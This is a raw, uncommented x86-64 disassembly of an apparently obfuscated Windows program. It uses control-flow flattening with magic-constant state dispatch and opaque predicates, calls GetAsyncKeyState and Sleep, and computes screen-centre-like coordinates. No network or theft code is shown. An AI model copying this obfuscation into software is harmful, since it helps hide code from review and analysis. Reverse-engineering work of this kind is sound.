jne 0x1404ac53d
test byte [rbp + 0x1ee], 1
mov eax, 0x69c09cb0
mov ecx, 0x423569e8
cmove eax, ecx
jmp 0x1404ac53d
cmp eax, 0x2aa366ca
je 0x1404b8723
cmp eax, 0x2c2cdc13
je 0x1404b872d
cmp eax, 0x2c7e4b44
jne 0x1404ac53d
mov esi, dword [rbp + 0x148]
mov eax, 0xe3691785
mov edi, dword [rbp + 0x144]
nop dword [rax]
cmp eax, 0x61b1d00a
jg 0x1404b0630
cmp eax, 0x82bb26ed
je 0x1404b065b
cmp eax, 0xe3691785
je 0x1404b067e
cmp eax, 0x103b5353
jne 0x1404b0600
jmp 0x1404b874b
cmp eax, 0x7c181b00
je 0x1404b0688
cmp eax, 0x67884d3c
je 0x1404b0692
cmp eax, 0x61b1d00b
jne 0x1404b0600
cmp byte [0x140ae75f4], 0
mov eax, 0x82bb26ed
mov ecx, 0x67884d3c
cmove eax, ecx
jmp 0x1404b0600
sub rsp, 0x20
lea rcx, [0x140ae75f8]
xor edx, edx
mov r8d, esi
mov r9d, edi
call fcn.1405b3cd0
add rsp, 0x20
mov eax, 0x103b5353
jmp 0x1404b0600
mov eax, 0x61b1d00b
jmp 0x1404b0600
mov eax, 0x82bb26ed
jmp 0x1404b0600
sub rsp, 0x20
lea rcx, [0x140ae75f8]
call fcn.1405b3aa0
add rsp, 0x20
mov eax, 0x7c181b00
jmp 0x1404b0600
cmp eax, 0xa99fc9cc
je 0x1404b876f
cmp eax, 0xa9cdab2d
je 0x1404b8788
cmp eax, 0xaa5dc0f8
jne 0x1404ac53d
mov dword [0x140ae7d74], 2
mov eax, 0x9a53d2d5
jmp 0x1404ac53d
cmp eax, 0x733ac03e
je 0x1404b87a3
cmp eax, 0x739110c9
je 0x1404b87c7
cmp eax, 0x73f8b6ca
mov r10d, 0xee54680f
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8be508d1
mov ecx, 0x5ae28c0b
jmp 0x1404ac530
cmp eax, 0xeb00984f
je 0x1404b882c
cmp eax, 0xeb7c10d6
je 0x1404b885f
cmp eax, 0xebe7c94b
jne 0x1404ac53d
xor esi, esi
sub esi, dword [rbp + 0x144]
xor edi, edi
sub edi, dword [rbp + 0x148]
mov eax, 0xe3691785
cmp eax, 0x61b1d00a
jg 0x1404b0790
cmp eax, 0x82bb26ed
je 0x1404b07bb
cmp eax, 0xe3691785
je 0x1404b07e7
cmp eax, 0x103b5353
jne 0x1404b0760
jmp 0x1404b886f
cmp eax, 0x7c181b00
je 0x1404b07f1
cmp eax, 0x67884d3c
je 0x1404b07fb
cmp eax, 0x61b1d00b
jne 0x1404b0760
cmp byte [0x140ae75f4], 0
mov eax, 0x82bb26ed
mov ecx, 0x67884d3c
cmove eax, ecx
jmp 0x1404b0760
sub rsp, 0x20
lea rcx, [0x140ae75f8]
xor edx, edx
mov r8d, edi
mov r9d, esi
call fcn.1405b3cd0
mov r10d, 0xee54680f
add rsp, 0x20
mov eax, 0x103b5353
jmp 0x1404b0760
mov eax, 0x61b1d00b
jmp 0x1404b0760
mov eax, 0x82bb26ed
jmp 0x1404b0760
sub rsp, 0x20
lea rcx, [0x140ae75f8]
call fcn.1405b3aa0
mov r10d, 0xee54680f
add rsp, 0x20
mov eax, 0x7c181b00
jmp 0x1404b0760
cmp eax, 0xf8c6beb4
je 0x1404b8880
cmp eax, 0xf966390f
je 0x1404b888a
cmp eax, 0xf9893c52
jne 0x1404ac53d
mov dword [rbp + 0xbc], 0
mov al, byte [rbp + 0x2a1]
mov byte [rbp + 0x2ae], al
mov eax, 0x80bf9c21
jmp 0x1404ac53d
cmp eax, 0x8585a6a9
je 0x1404b88a8
cmp eax, 0x859dc413
je 0x1404b88d2
cmp eax, 0x86cc4529
jne 0x1404ac53d
mov rax, qword [rbp + 0x90]
mov rcx, qword [rbp + 0x90]
mov qword [rbp + 0x320], rcx
add rcx, 4
mov edx, 0xe8b13a1e
nop
cmp edx, 0xe8b13a1d
jle 0x1404b08e0
cmp edx, 0x3cf96e32
je 0x1404b08f5
cmp edx, 0xef5ea6e1
je 0x1404b0909
cmp edx, 0xe8b13a1e
jne 0x1404b08a0
mov rdx, qword [rbp + 0x320]
mov dword [rdx], 0
mov qword [rbp + 0x2d8], rcx
mov edx, 0xdce2d48c
jmp 0x1404b08a0
cmp edx, 0xdce2d48c
je 0x1404b0931
cmp edx, 0xe481fd3d
jne 0x1404b08a0
jmp 0x1404b88dc
mov rdx, qword [rbp + 0x2d8]
mov dword [rdx], 0
mov edx, 0xef5ea6e1
jmp 0x1404b08a0
mov rdx, qword [rbp + 0x2d8]
mov dword [rdx], 0
mov edx, dword [0x140ae0d70]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x3cf96e32
mov ebx, 0xe481fd3d
jmp 0x1404b094a
mov edx, dword [0x140ae0d70]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x3cf96e32
mov ebx, 0xef5ea6e1
cmove edx, ebx
cmp dword [0x140ae0d74], 0xa
cmovl edx, ebx
jmp 0x1404b08a0
cmp eax, 0x430e4382
je 0x1404b88f0
cmp eax, 0x43a42d98
je 0x1404b8926
cmp eax, 0x43c06f25
jne 0x1404ac53d
mov dword [0x140ae7d78], 0x12
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9ca7a109
mov ecx, 0xcfd9d0fa
jmp 0x1404ac530
cmp eax, 0xbfb4b73e
je 0x1404b8930
cmp eax, 0xc09cc3b1
je 0x1404b893a
cmp eax, 0xc2549498
jne 0x1404ac53d
cmp dword [rbp + 0x200], 0
mov eax, 0xadcdbdc6
mov ecx, 0xa73499af
cmove eax, ecx
jmp 0x1404ac53d
cmp eax, 0x1fcd57ae
je 0x1404b8944
cmp eax, 0x1fd14e84
je 0x1404b896f
cmp eax, 0x1febd4e3
jne 0x1404ac53d
mov eax, 0x3a9b69f7
jmp 0x1404ac53d
cmp eax, 0xa1848b2a
je 0x1404b8988
cmp eax, 0xa21baee8
je 0x1404b8992
cmp eax, 0xa23361c6
jne 0x1404ac53d
cvttss2si eax, dword [rbp + 0x38]
mov dword [0x140ae7ab0], eax
mov dword [rbp + 0xc0], 8
mov byte [rbp + 0x2b2], 1
mov eax, 0x58220e87
jmp 0x1404ac53d
cmp eax, 0x68a217f0
je 0x1404b89a8
cmp eax, 0x69c09cb0
je 0x1404b89d4
cmp eax, 0x6a708c3f
mov r10d, 0xee54680f
jne 0x1404ac53d
cmp dword [rbp + 0x204], 0
mov eax, 0x5aa5c4b3
mov ecx, 0x8bc56f1b
cmovle eax, ecx
jmp 0x1404ac53d
cmp eax, 0xe3581164
je 0x1404b8a18
cmp eax, 0xe3ce2a01
je 0x1404b8a31
cmp eax, 0xe3e7a1a7
jne 0x1404ac53d
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 0x100]
sub rsp, 0x20
lea rdx, [0x140ae7a30]
lea r8, [0x140ae7a28]
call fcn.14048f270
add rsp, 0x20
mov rax, qword [rbp + 0xd0]
mov rdx, qword [rbp + 0x100]
mov ecx, 0xce707985
nop
cmp ecx, 0xce707985
je 0x1404b0b05
cmp ecx, 0x75c2ba99
jne 0x1404b0af0
jmp 0x1404b8a73
mov ecx, 0x75c2ba99
jmp 0x1404b0af0
cmp eax, 0x10aaebf9
je 0x1404b8aca
cmp eax, 0x12d3edfb
je 0x1404b8ae9
cmp eax, 0x1342122b
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3ae010ea
mov ecx, 0xe9db6137
jmp 0x1404ac530
cmp eax, 0x92ddc6a1
je 0x1404b8b04
cmp eax, 0x9308c331
je 0x1404b8b22
cmp eax, 0x93a2c48a
jne 0x1404ac53d
mov dword [0x140ae7aac], 0
mov eax, 0xabd53c6e
jmp 0x1404ac53d
cmp eax, 0x53f7f4cb
je 0x1404b8b4c
cmp eax, 0x54ab54f0
je 0x1404ac515
cmp eax, 0x575b18ee
jne 0x1404ac53d
mov rax, qword [rbp + 0x90]
mov rcx, qword [rbp + 0x90]
mov qword [rbp + 0x320], rcx
add rcx, 4
mov edx, 0xe8b13a1e
nop
cmp edx, 0xe8b13a1d
jle 0x1404b0c00
cmp edx, 0x3cf96e32
je 0x1404b0c15
cmp edx, 0xef5ea6e1
je 0x1404b0c29
cmp edx, 0xe8b13a1e
jne 0x1404b0bc0
mov rdx, qword [rbp + 0x320]
mov dword [rdx], 0
mov qword [rbp + 0x2d8], rcx
mov edx, 0xdce2d48c
jmp 0x1404b0bc0
cmp edx, 0xdce2d48c
je 0x1404b0c51
cmp edx, 0xe481fd3d
jne 0x1404b0bc0
jmp 0x1404b8b6a
mov rdx, qword [rbp + 0x2d8]
mov dword [rdx], 0
mov edx, 0xef5ea6e1
jmp 0x1404b0bc0
mov rdx, qword [rbp + 0x2d8]
mov dword [rdx], 0
mov edx, dword [0x140ae0d70]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x3cf96e32
mov ebx, 0xe481fd3d
jmp 0x1404b0c6a
mov edx, dword [0x140ae0d70]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x3cf96e32
mov ebx, 0xef5ea6e1
cmove edx, ebx
cmp dword [0x140ae0d74], 0xa
cmovl edx, ebx
jmp 0x1404b0bc0
cmp eax, 0xd2ae0fb3
je 0x1404b8b92
cmp eax, 0xd3e3a4ca
je 0x1404b8b9c
cmp eax, 0xd3f6664a
jne 0x1404ac53d
mov eax, dword [rbp + 0x1e0]
add eax, 1
mov dword [rbp + 0x34], eax
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1a6ee6df
mov ecx, 0x3f3a704d
jmp 0x1404ac530
cmp eax, 0x33d087cf
je 0x1404b8bbb
cmp eax, 0x3433ccbe
je 0x1404b8bc5
cmp eax, 0x34465777
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x16c27ffe
mov ecx, 0x6202b328
jmp 0x1404ac530
cmp eax, 0xae84c91b
je 0x1404b8bcf
cmp eax, 0xaef3ead6
je 0x1404b8c02
cmp eax, 0xb051b16c
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x43a42d98
mov ecx, 0x37c9f7db
jmp 0x1404ac530
cmp eax, 0x791626cc
je 0x1404b8c20
cmp eax, 0x797cf2f6
je 0x1404b8c2a
cmp eax, 0x7b0319cf
jne 0x1404ac53d
movsd qword [rbp + 0x88], xmm6
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x530c6149
mov ecx, 0xe3ce2a01
jmp 0x1404ac530
cmp eax, 0xf187581c
je 0x1404b8c49
cmp eax, 0xf1992d03
je 0x1404b8c64
cmp eax, 0xf1e70fd4
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4bb5630c
mov ecx, 0x99e5a02c
jmp 0x1404ac530
cmp eax, 0xffffb0e9
je 0x1404b8c8c
cmp eax, 0xfc18ba
je 0x1404b8c96
cmp eax, 0x16a8475
jne 0x1404ac53d
mov eax, dword [0x140ae7d84]
lea ecx, [rax + rax*2]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r10d, 0xee54680f
add rsp, 0x20
mov eax, 0x83868581
jmp 0x1404ac53d
cmp eax, 0x8338285c
je 0x1404b8cac
cmp eax, 0x83868581
je 0x1404b8cc4
cmp eax, 0x83c22334
jne 0x1404ac53d
mov eax, 0x7021a0e
jmp 0x1404ac53d
cmp eax, 0x3f3f51cf
je 0x1404b8ce8
cmp eax, 0x406fcead
je 0x1404b8dbc
cmp eax, 0x41a837cb
jne 0x1404ac53d
mov eax, 0x528f4f5a
jmp 0x1404ac53d
cmp eax, 0xb9b1551d
je 0x1404b8dcd
cmp eax, 0xbbc7f4d0
je 0x1404b8df5
cmp eax, 0xbbeb9d4e
jne 0x1404ac53d
mov eax, dword [0x140ae7d78]
mov dword [rbp + 0x14], eax
mov eax, 0x94ac82fa
jmp 0x1404ac53d
cmp eax, 0x1d16c9d8
je 0x1404b8dff
cmp eax, 0x1d2853fc
je 0x1404b8e15
cmp eax, 0x1e0c1057
jne 0x1404ac53d
mov al, byte [rbp + 0x2a5]
jmp 0x1404b52e2
cmp eax, 0x9d333124
je 0x1404b8e1f
cmp eax, 0x9e0eee6c
je 0x1404b8e4d
cmp eax, 0x9e206c61
jne 0x1404ac53d
mov esi, dword [rbp + 0x118]
mov eax, 0xe3691785
mov edi, dword [rbp + 0x114]
nop dword [rax + rax]
cmp eax, 0x61b1d00a
jg 0x1404b0f30
cmp eax, 0x82bb26ed
je 0x1404b0f5b
cmp eax, 0xe3691785
je 0x1404b0f87
cmp eax, 0x103b5353
jne 0x1404b0f00
jmp 0x1404b8e79
cmp eax, 0x7c181b00
je 0x1404b0f91
cmp eax, 0x67884d3c
je 0x1404b0f9b
cmp eax, 0x61b1d00b
jne 0x1404b0f00
cmp byte [0x140ae75f4], 0
mov eax, 0x82bb26ed
mov ecx, 0x67884d3c
cmove eax, ecx
jmp 0x1404b0f00
sub rsp, 0x20
lea rcx, [0x140ae75f8]
xor edx, edx
mov r8d, esi
mov r9d, edi
call fcn.1405b3cd0
mov r10d, 0xee54680f
add rsp, 0x20
mov eax, 0x103b5353
jmp 0x1404b0f00
mov eax, 0x61b1d00b
jmp 0x1404b0f00
mov eax, 0x82bb26ed
jmp 0x1404b0f00
sub rsp, 0x20
lea rcx, [0x140ae75f8]
call fcn.1405b3aa0
mov r10d, 0xee54680f
add rsp, 0x20
mov eax, 0x7c181b00
jmp 0x1404b0f00
cmp eax, 0x62207868
je 0x1404b8e83
cmp eax, 0x63b934b0
je 0x1404b8e8d
cmp eax, 0x66ff3b4a
jne 0x1404ac53d
mov esi, dword [rbp + 0x118]
mov eax, 0xe3691785
mov edi, dword [rbp + 0x114]
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0x61b1d00a
jg 0x1404b1030
cmp eax, 0x82bb26ed
je 0x1404b105b
cmp eax, 0xe3691785
je 0x1404b1087
cmp eax, 0x103b5353
jne 0x1404b1000
jmp 0x1404b8ea6
cmp eax, 0x7c181b00
je 0x1404b1091
cmp eax, 0x67884d3c
je 0x1404b109b
cmp eax, 0x61b1d00b
jne 0x1404b1000
cmp byte [0x140ae75f4], 0
mov eax, 0x82bb26ed
mov ecx, 0x67884d3c
cmove eax, ecx
jmp 0x1404b1000
sub rsp, 0x20
lea rcx, [0x140ae75f8]
xor edx, edx
mov r8d, esi
mov r9d, edi
call fcn.1405b3cd0
mov r10d, 0xee54680f
add rsp, 0x20
mov eax, 0x103b5353
jmp 0x1404b1000
mov eax, 0x61b1d00b
jmp 0x1404b1000
mov eax, 0x82bb26ed
jmp 0x1404b1000
sub rsp, 0x20
lea rcx, [0x140ae75f8]
call fcn.1405b3aa0
mov r10d, 0xee54680f
add rsp, 0x20
mov eax, 0x7c181b00
jmp 0x1404b1000
cmp eax, 0xde5baf9a
je 0x1404b8ec4
cmp eax, 0xdea5218a
je 0x1404b8ece
cmp eax, 0xe00431c9
jne 0x1404ac53d
mov eax, 0xde162d41
jmp 0x1404ac53d
cmp eax, 0xd503e29
je 0x1404b8ed8
cmp eax, 0xd70a057
je 0x1404b8efa
cmp eax, 0xdbf6cee
jne 0x1404ac53d
mov eax, 0x187bfa42
jmp 0x1404ac53d
cmp eax, 0x904dd28a
je 0x1404b8f0e
cmp eax, 0x90bf92e1
je 0x1404b8f26
cmp eax, 0x90cd30a2
jne 0x1404ac53d
cmp dword [rbp + 0x200], 0
mov eax, 0xda32281a
mov ecx, 0xc2549498
cmovle eax, ecx
jmp 0x1404ac53d
cmp eax, 0x4f02d0fa
je 0x1404b8f3c
cmp eax, 0x4fc81476
je 0x1404b8f52
cmp eax, 0x514a50e7
jne 0x1404ac53d
mov eax, dword [rbp + 0x140]
test ax, ax
setns byte [rbp + 0x1eb]
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf0af83d7
mov ecx, 0xfa94a3eb
jmp 0x1404ac530
cmp eax, 0xd009c291
je 0x1404b8faa
cmp eax, 0xd0ab906c
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xce5f8f8
mov ecx, 0x35d66260
jmp 0x1404ac530
cmp eax, 0x3062ade2
je 0x1404b8fe3
cmp eax, 0x30891d07
jne 0x1404ac53d
mov eax, dword [rbp + 0x34]
mov dword [rbp + 0xb8], eax
mov al, byte [rbp + 0x2a3]
jmp 0x1404b1950
cmp eax, 0xacbe7db4
je 0x1404b8ff1
cmp eax, 0xacead569
jne 0x1404ac53d
mov dword [0x140ae7d74], 0xa2
mov eax, 0x47a6a9f9
jmp 0x1404ac53d
cmp eax, 0x76d8bf04
je 0x1404b9018
cmp eax, 0x771883c0
jne 0x1404ac53d
mov eax, dword [rbp + 0x200]
cmp eax, 5
mov eax, 0xadcdbdc6
mov ecx, 0x85c9697
cmove eax, ecx
jmp 0x1404ac53d
cmp eax, 0xef79c302
je 0x1404b902c
cmp eax, 0xf020e32d
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa2758080
mov ecx, 0x487f9b1d
jmp 0x1404ac530
cmp eax, 0xfd14d78d
je 0x1404b9036
cmp eax, 0xfdb9ab31
jne 0x1404ac53d
mov eax, 0xf53037b4
jmp 0x1404ac53d
cmp eax, 0x8b96fad5
je 0x1404b904a
cmp eax, 0x8bbc2aaa
jne 0x1404ac53d
mov eax, dword [rbp + 0x28]
mov dword [rbp + 0xb4], eax
mov al, byte [rbp + 0x2a0]
jmp 0x1404b18bf
cmp eax, 0x45d199ec
je 0x1404b9060
cmp eax, 0x4620bd29
jne 0x1404ac53d
test byte [rbp + 0x1f1], 1
mov eax, 0x904dd28a
mov ecx, 0xcd60d215
cmove eax, ecx
jmp 0x1404ac53d
cmp eax, 0xc96d5ec0
je 0x1404b908b
cmp eax, 0xcae2c3fd
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x75db7a63
mov ecx, 0xa94602c1
jmp 0x1404ac530
cmp eax, 0x24e2ebe6
je 0x1404b91c0
cmp eax, 0x2504225b
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xeb7c10d6
mov ecx, 0xb108c749
jmp 0x1404ac530
cmp eax, 0xa609c6d5
je 0x1404b91ca
cmp eax, 0xa6b97cc8
jne 0x1404ac53d
mov eax, 0xf53037b4
jmp 0x1404ac53d
cmp eax, 0x6f8b5f83
je 0x1404b91e8
cmp eax, 0x705cf433
jne 0x1404ac53d
mov rax, qword [rbp + 0x130]
movss xmm0, dword [rax + 4]
movss dword [rbp + 0x20], xmm0
mov eax, 0x3b62006b
jmp 0x1404ac53d
cmp eax, 0xe6a7e6cc
je 0x1404b91f2
cmp eax, 0xe98cc477
jne 0x1404ac53d
mov eax, dword [rbp + 0x254]
mov ecx, eax
shr ecx, 0x1f
add ecx, eax
sar ecx, 1
mov eax, dword [rbp + 0x1e0]
sub eax, ecx
add eax, dword [0x140ae7d8c]
mov dword [0x140ae7aac], eax
mov eax, dword [rbp + 0x250]
sub eax, ecx
add eax, dword [0x140ae7d90]
xorps xmm0, xmm0
cvtsi2ss xmm0, eax
addss xmm0, dword [0x140ae7a00]
movss dword [rbp + 0x38], xmm0
mov eax, 0xa23361c6
jmp 0x1404ac53d
cmp eax, 0x161c794a
je 0x1404b9203
cmp eax, 0x16c27ffe
jne 0x1404ac53d
mov eax, 0x6202b328
jmp 0x1404ac53d
cmp eax, 0x955c8b5e
je 0x1404b922a
cmp eax, 0x95b0cd28
jne 0x1404ac53d
mov rax, qword [rbp - 0x60]
mov rax, qword [rbp - 0x58]
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb88d02f8
mov ecx, 0xf966390f
jmp 0x1404ac530
cmp eax, 0x59bbb196
je 0x1404b9258
cmp eax, 0x5aa5c4b3
jne 0x1404ac53d
mov eax, dword [rbp + 0x204]
cmp eax, 2
mov eax, 0x31385e1
mov ecx, 0xaa5dc0f8
cmovl eax, ecx
jmp 0x1404ac53d
cmp eax, 0xd8fc729a
je 0x1404b926c
cmp eax, 0xd91a0ad6
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x82620427
mov ecx, 0x77ad204
jmp 0x1404ac530
cmp eax, 0x396dda4e
je 0x1404b928e
cmp eax, 0x39e9039f
jne 0x1404ac53d
mov dword [0x140ae7d90], 6
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb44c9934
mov ecx, 0xc09cc3b1
jmp 0x1404ac530
cmp eax, 0xb44c9934
je 0x1404b92a4
cmp eax, 0xb4a17d7f
jne 0x1404ac53d
mov eax, dword [rbp + 0x14c]
cmp eax, 2
mov eax, 0xc4876763
mov ecx, 0x9f17f17c
cmovl eax, ecx
jmp 0x1404ac53d
cmp eax, 0x7e982495
je 0x1404b92b8
cmp eax, 0x7eb1a4dd
jne 0x1404ac53d
mov eax, 0x1d2853fc
jmp 0x1404ac53d
cmp eax, 0xf7516f67
je 0x1404b92d1
cmp eax, 0xf76b9046
jne 0x1404ac53d
cmp byte [rbp + 0x1e7], 0
mov eax, 0x95b0cd28
mov ecx, 0x16a8475
cmovne eax, ecx
jmp 0x1404ac53d
cmp eax, 0x20d00e5
jne 0x1404bb092
mov eax, 0xa53937d7
jmp 0x1404ac53d
mov eax, 0x9e0eee6c
jmp 0x1404ac53d
mov dword [rbp + 0x124], 0
mov dword [rbp + 0xc4], 0
mov eax, 0xd246adbc
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9f1831eb
mov ecx, 0x2f6fa11
jmp 0x1404ac530
mov eax, 0xabf494d7
jmp 0x1404ac53d
mov eax, 0x2f9d4fab
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xef1f9a0f
mov ecx, 0x60258d90
jmp 0x1404ac530
test byte [rbp + 0x2a8], 1
mov eax, 0xa53937d7
mov ecx, 0xe6a7e6cc
cmove eax, ecx
jmp 0x1404ac53d
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp - 0x58]
mov eax, dword [0x140ae77ec]
mov ecx, eax
shr ecx, 0x1f
add ecx, eax
sar ecx, 1
xorps xmm0, xmm0
cvtsi2sd xmm0, ecx
movsd qword [rbp - 0x78], xmm0
mov eax, dword [0x140ae77e8]
mov ecx, eax
shr ecx, 0x1f
add ecx, eax
sar ecx, 1
mov dword [rbp + 0x10], ecx
mov eax, 0x1e63de27
jmp 0x1404ac53d
mov dword [0x140ae7ab0], 0
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x586c4847
mov ecx, 0x87d19386
jmp 0x1404ac530
mov al, byte [rbp + 0x2af]
mov byte [rbp + 0x2a1], al
mov eax, dword [rbp + 0xb4]
mov dword [rbp + 0x2f4], eax
mov eax, dword [rbp + 0x2f4]
cmp eax, 0x14
mov eax, 0xdab94d19
mov ecx, 0xcec0c919
cmovl eax, ecx
jmp 0x1404ac53d
mov eax, 0x54ab54f0
jmp 0x1404ac53d
mov dword [0x140ae7d78], 0xa2
mov eax, 0x4570f08a
jmp 0x1404ac53d
mov eax, dword [rbp + 0x13c]
mov eax, 0x955c8b5e
jmp 0x1404ac53d
mov ecx, dword [0x140ae7d78]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov r10d, 0xee54680f
add rsp, 0x20
cwde
mov dword [rbp + 0x27c], eax
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x733ac03e
mov ecx, 0xe00431c9
jmp 0x1404ac530
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x420388e9
mov ecx, 0x45d199ec
jmp 0x1404ac530
movss dword [rbp + 0x2d8], xmm0
cvttss2si eax, dword [rbp + 0x2d8]
mov dword [rbp + 0xa8], eax
cmp dword [0x140ae7d4c], 3
mov eax, 0x48d0e0b
mov ecx, 0x1fcd57ae
jmp 0x1404b8ee6
mov esi, dword [rbp + 0x148]
mov eax, 0xe3691785
mov edi, dword [rbp + 0x144]
nop dword [rax]
cmp eax, 0x61b1d00a
jg 0x1404b17e0
cmp eax, 0x82bb26ed
je 0x1404b180b
cmp eax, 0xe3691785
je 0x1404b182e
cmp eax, 0x103b5353
jne 0x1404b17b0
jmp 0x1404b92db
cmp eax, 0x7c181b00
je 0x1404b1838
cmp eax, 0x67884d3c
je 0x1404b1842
cmp eax, 0x61b1d00b
jne 0x1404b17b0
cmp byte [0x140ae75f4], 0
mov eax, 0x82bb26ed
mov ecx, 0x67884d3c
cmove eax, ecx
jmp 0x1404b17b0
sub rsp, 0x20
lea rcx, [0x140ae75f8]
xor edx, edx
mov r8d, esi
mov r9d, edi
call fcn.1405b3cd0
add rsp, 0x20
mov eax, 0x103b5353
jmp 0x1404b17b0
mov eax, 0x61b1d00b
jmp 0x1404b17b0
mov eax, 0x82bb26ed
jmp 0x1404b17b0
sub rsp, 0x20
lea rcx, [0x140ae75f8]
call fcn.1405b3aa0
add rsp, 0x20
mov eax, 0x7c181b00
jmp 0x1404b17b0
mov eax, dword [0x140ae7d4c]
mov dword [rbp + 0x14c], eax
mov eax, 0xcb8e7bb
jmp 0x1404ac53d
mov eax, 0x1073f01e
jmp 0x1404ac53d
mov eax, 0x8338285c
jmp 0x1404ac53d
mov eax, dword [rbp + 0x200]
cmp eax, 5
mov eax, 0x771883c0
mov ecx, 0x6e8ad780
cmovl eax, ecx
jmp 0x1404ac53d
mov eax, 0x155927d0
jmp 0x1404ac53d
mov dword [rbp + 0xb4], 0
mov al, byte [rbp + 0x2a2]
mov byte [rbp + 0x2af], al
mov eax, 0x21d53262
jmp 0x1404ac53d
mov al, byte [rbp + 0x2a6]
and al, 1
mov byte [rbp + 0x1f3], al
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5f44dd24
mov ecx, 0x8d9f5311
jmp 0x1404ac530
mov al, byte [rbp + 0x2ae]
mov byte [rbp + 0x2a0], al
cmp dword [rbp + 0xbc], 0
mov eax, 0x9308c331
mov ecx, 0xcb27aafe
cmove eax, ecx
mov cl, byte [rbp + 0x2a0]
mov byte [rbp + 0x2ad], cl
jmp 0x1404ac53d
mov eax, 0xef79c302
jmp 0x1404ac53d
mov eax, 0xe9db6137
jmp 0x1404ac53d
mov dword [rbp + 0xb8], 0
mov al, byte [rbp + 0x2a5]
mov byte [rbp + 0x2b3], al
mov eax, 0xf2cfc272
jmp 0x1404ac53d
mov eax, dword [rbp + 0x2f4]
mov eax, dword [rbp + 0x2f4]
mov eax, dword [rbp + 0x2f4]
mov eax, dword [rbp + 0x2f4]
mov eax, dword [rbp + 0x2f4]
mov eax, dword [rbp + 0x2f4]
mov eax, dword [rbp + 0x2f4]
mov eax, dword [rbp + 0x2f4]
mov eax, dword [rbp + 0x2f4]
mov eax, 0xe22a85d0
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xce5f8f8
mov ecx, 0xd0ab906c
jmp 0x1404ac530
mov r8, qword [rbp - 0x70]
mov ecx, dword [0x140ae9598]
mov edx, dword [0x140ae959c]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete cl
sete byte [rbp + 0x310]
cmp edx, 0xa
setl dl
setl byte [rbp + 0x328]
or dl, cl
mov edi, 0xa8c27510
mov eax, 0x35386b72
cmovne edi, eax
mov edx, 0xa8c27510
mov eax, 0x3f062a22
cmovne edx, eax
mov ebx, 0xf17d613c
mov eax, 0x3d6fccc5
cmovne ebx, eax
mov ecx, 0x8487924
mov esi, 0xbfd0128e
jmp 0x1404b1a30
mov rax, qword [rbp + 0x320]
mov ecx, 0x3f062a22
nop
cmp ecx, 0x8487923
jle 0x1404b1a70
cmp ecx, 0x35386b71
jle 0x1404b1aa0
cmp ecx, 0x3d6fccc5
je 0x1404b1ade
cmp ecx, 0x3f062a22
jne 0x1404b1b1d
mov rax, qword [rbp + 0x320]
add rax, r8
mov qword [rbp + 0x2d8], rax
mov ecx, edi
jmp 0x1404b1a30
cmp ecx, 0xbfd0128d
jg 0x1404b1ac0
cmp ecx, 0xa8c27510
je 0x1404b1a23
cmp ecx, 0xa9be2338
jne 0x1404b1a30
mov rax, qword [rbp + 0x338]
mov rax, qword [rax]
mov qword [rbp + 0x320], rax
mov ecx, 0x2f542625
jmp 0x1404b1a30
cmp ecx, 0x8487924
je 0x1404b1ae8
cmp ecx, 0x2f542625
jne 0x1404b1a30
mov ecx, edx
jmp 0x1404b1a30
cmp ecx, 0xbfd0128e
